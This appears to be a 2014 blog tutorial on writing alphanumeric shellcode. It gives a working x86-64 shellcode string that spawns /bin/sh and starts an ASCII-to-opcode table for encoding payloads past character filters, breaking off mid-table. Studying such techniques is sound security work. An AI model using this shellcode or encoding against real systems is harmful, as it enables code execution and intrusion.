Skip to main content

Posts

Showing posts from April, 2014

Alphanumeric Shellcode

Writing Alphanumeric Shellcode Step1: First we will write assembly program to spawn a shell: Objdump of shellcode.s  SHELLCODE "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" Step2:  Now lets test this hex shellcode using a C program: C program to execute shellcode directly Shellcode Execution Step3: Convert instruction opcodes from hex to ascii using table given below: ASCII Shellcode Table ASCII Value Hex Opcode Assembly Equivalent 0 \x30 xor 1 \x31 xor 2 \x32 xor 3 \x33 xor 4 \x34 xor al, 0x## [byte] 5 \x35 xor eax, 0x######## [DWORD] 6 \x36 SS Segment Override 7 \x37 aaa 8 \x38 cmp 9 \x39 cmp  : \x3a cmp  ; \x3b cmp < \x3c cmp al, 0x## [byte] = \x3d cmp eax, 0x######## [DWORD] > \x3e [undocced nop]  ? \x3f aas @ \x40 inc eax A \x41 inc ecx B \x42 inc edx C \x43 inc ebx D \x44 inc esp E \x45 inc ebp F \x46 inc es...